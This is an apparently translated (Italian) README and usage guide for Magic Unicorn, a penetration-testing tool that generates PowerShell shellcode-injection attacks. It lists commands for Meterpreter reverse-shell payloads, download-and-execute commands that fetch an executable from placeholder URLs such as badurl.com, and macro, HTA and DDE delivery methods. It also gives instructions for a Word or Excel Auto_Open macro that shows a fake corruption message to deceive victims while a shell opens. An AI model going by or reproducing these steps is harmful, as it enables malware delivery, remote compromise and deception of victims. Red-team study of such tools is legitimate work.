
Unicorn è un semplice strumento per utilizzare un attacco di downgrade di PowerShell e iniettare shellcode direttamente in memoria. Basato sugli attacchi PowerShell di Matthew Graeber e sulla tecnica di bypass di PowerShell presentata da David Kennedy (TrustedSec) e Josh Kelly al Defcon 18.
Scritto da: Dave Kennedy (@HackingDave) Sito web: https://www.trustedsec.com
Magic Unicorn è un semplice strumento per utilizzare un attacco di downgrade PowerShell e iniettare shellcode direttamente in memoria. Basato sugli attacchi PowerShell di Matthew Graeber e sulla tecnica di bypass di PowerShell presentata da David Kennedy (TrustedSec) e Josh Kelly al Defcon 18.
L'uso è semplice, basta eseguire Magic Unicorn (assicurati che Metasploit sia installato se utilizzi i metodi Metasploit e nel percorso corretto) e magic unicorn genererà automaticamente un comando PowerShell che dovrai semplicemente copiare e incollare in una finestra del prompt dei comandi o tramite un sistema di distribuzione del payload. Unicorn supporta il tuo shellcode, Cobalt Strike e Metasploit.
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
Attacchi di iniezione PowerShell nativi x86 su qualsiasi piattaforma Windows.
Scritto da: Dave Kennedy presso TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Crediti: Matthew Graeber, Justin Elze, Chris Gates
Buoni Magic Unicorns.
Uso: python unicorn.py payload reverse_ipaddr port <opzionale hta o macro, crt>
Esempio PS: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Esempio Macro: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Esempio Macro CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Esempio Macro Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
Esempio HTA: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
Esempio HTA CS: python unicorn.py <cobalt_strike_file.cs> cs hta
Esempio HTA Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
Esempio DDE: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
Esempio CRT: python unicorn.py <path_to_payload/exe_encode> crt
Esempio Personalizzato PS1: python unicorn.py <path to ps1 file>
Esempio Personalizzato PS1: python unicorn.py <path to ps1 file> macro 500
Esempio Cobalt Strike: python unicorn.py <cobalt_strike_file.cs> cs (esporta CS in formato C#)
Shellcode Personalizzato: python unicorn.py <path_to_shellcode.txt> shellcode (formattato 0x00)
Menu di Aiuto: python unicorn.py --help
Tutto è ora generato in due file, powershell_attack.txt e unicorn.rc. Il file di testo contiene tutto il codice necessario per iniettare l'attacco PowerShell in memoria. Nota che avrai bisogno di un luogo che supporti l'iniezione di comandi remoti di qualche tipo. Spesso questo può avvenire tramite un documento Excel/Word o tramite psexec_commands all'interno di Metasploit, SQLi, ecc.. Ci sono così tante implicazioni e scenari in cui puoi usare questo attacco. Basta incollare il comando powershell_attack.txt in qualsiasi finestra del prompt dei comandi o dove hai la possibilità di chiamare l'eseguibile PowerShell e ti restituirà una shell. Questo attacco supporta anche windows/download_exec come metodo di payload invece dei soli payload Meterpreter. Quando usi download and exec, basta mettere python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe e il codice PowerShell scaricherà il payload e lo eseguirà.
Nota che dovrai avere un listener abilitato per catturare l'attacco.
Per l'attacco macro, dovrai andare su File, Proprietà, Barra multifunzione e selezionare Sviluppatore. Una volta fatto, avrai una scheda Sviluppatore. Crea una nuova macro, chiamala Auto_Open e incolla il codice generato al suo interno. Questa verrà eseguita automaticamente. Nota che un messaggio apparirà all'utente dicendo che il file è danneggiato e chiuderà automaticamente il documento Excel. QUESTO È COMPORTAMENTO NORMALE! Questo sta ingannando la vittima facendole credere che il documento Excel sia danneggiato. Dovresti ottenere una shell tramite l'iniezione PowerShell dopo.
Se stai distribuendo questo contro versioni Office365/2016+ di Word, devi modificare la prima riga dell'output da: Sub Auto_Open()
A: Sub AutoOpen()
Il nome della macro stessa deve essere anche "AutoOpen" invece del vecchio schema di denominazione "Auto_Open".
NOTA: QUANDO COPII E INCOLLI IN EXCEL, SE VENGONO AGGIUNTI SPAZI AGGIUNTIVI, DEVI RIMUOVERLI DOPO OGNI SEZIONE DI CODICE POWERSHELL SOTTO LA VARIABILE "x" O SI VERIFICHERÀ UN ERRORE DI SINTASSI!
L'attacco HTA genererà automaticamente due file, il primo index.html che dice al browser di usare Launcher.hta che contiene il codice di iniezione PowerShell dannoso. Tutti i file vengono esportati nella cartella hta_access/ e ci saranno tre file principali. Il primo è index.html, il secondo Launcher.hta e l'ultimo, il file unicorn.rc. Puoi eseguire msfconsole -r unicorn.rc per avviare il listener per Metasploit.
Un utente deve fare clic su Consenti e accettare quando si utilizza l'attacco HTA affinché l'iniezione PowerShell funzioni correttamente.